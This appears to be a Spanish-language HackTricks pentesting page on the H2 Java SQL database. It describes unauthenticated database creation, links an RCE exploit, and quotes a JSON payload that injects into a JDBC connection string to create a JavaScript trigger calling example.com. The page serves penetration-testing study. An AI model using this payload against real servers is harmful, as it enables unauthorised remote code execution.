hacktricks/network-services-pentesting/pentesting-web/h2-java-sql-database.md

4.6 KiB

H2 - Base de datos SQL de Java

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Página oficial: https://www.h2database.com/html/main.html

Acceso

Puedes indicar un nombre de base de datos inexistente para crear una nueva base de datos sin credenciales válidas (no autenticado):

O si sabes que, por ejemplo, se está ejecutando un mysql y conoces el nombre de la base de datos y las credenciales para esa base de datos, simplemente puedes acceder a ella:

Truco del box Hawk de HTB.

RCE

Si tienes acceso para comunicarte con la base de datos H2, verifica esta explotación para obtener RCE en ella: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

Inyección SQL en H2 para RCE

En esta publicación se explica una carga útil para obtener RCE a través de una base de datos H2 aprovechando una inyección SQL.

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥